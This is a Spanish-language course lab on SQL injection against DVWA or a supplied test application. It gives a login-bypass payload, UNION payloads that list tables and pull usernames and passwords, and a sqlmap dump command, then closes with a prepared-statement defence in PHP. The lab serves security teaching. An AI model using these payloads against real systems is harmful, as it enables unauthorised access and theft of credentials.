Saltar al contenido principal

Lab 6.2: SQL Injection - Explotación Completa

Objetivos de Aprendizaje​

Al final de este laboratorio, usted será capaz de:

  • Comprender cómo funciona la inyección SQL
  • Eludir una autenticación mediante inyección SQL
  • Extraer datos de una base de datos
  • Utilizar SQLMap para automatización
  • Proteger sus aplicaciones contra la inyección SQL

Duración Estimada​

40 minutos

Aplicación de Prueba​

Utilice DVWA (Damn Vulnerable Web Application) o la aplicación proporcionada.

Técnica Básica​

Bypass clásico de autenticación:

Username: admin' OR '1'='1' --
Password: (cualquier cosa)

Consulta generada:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' -- AND password = '...'

Resultado: ¡Condición siempre verdadera, inicio de sesión exitoso!

Extracción de Datos​

Listar las tablas:

' UNION SELECT GROUP_CONCAT(table_name), NULL FROM information_schema.tables WHERE table_schema=DATABASE() --

Extraer datos:

' UNION SELECT username, password FROM users --

SQLMap Automatizado​

sqlmap -u "http://localhost/login.php" --data="username=admin&password=pass" --dump

¡Extracción automática completa!

Protección​

Código seguro con prepared statements:

$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();

Lab desarrollado en el marco del curso Sistemas Operativos - MÓDULO 6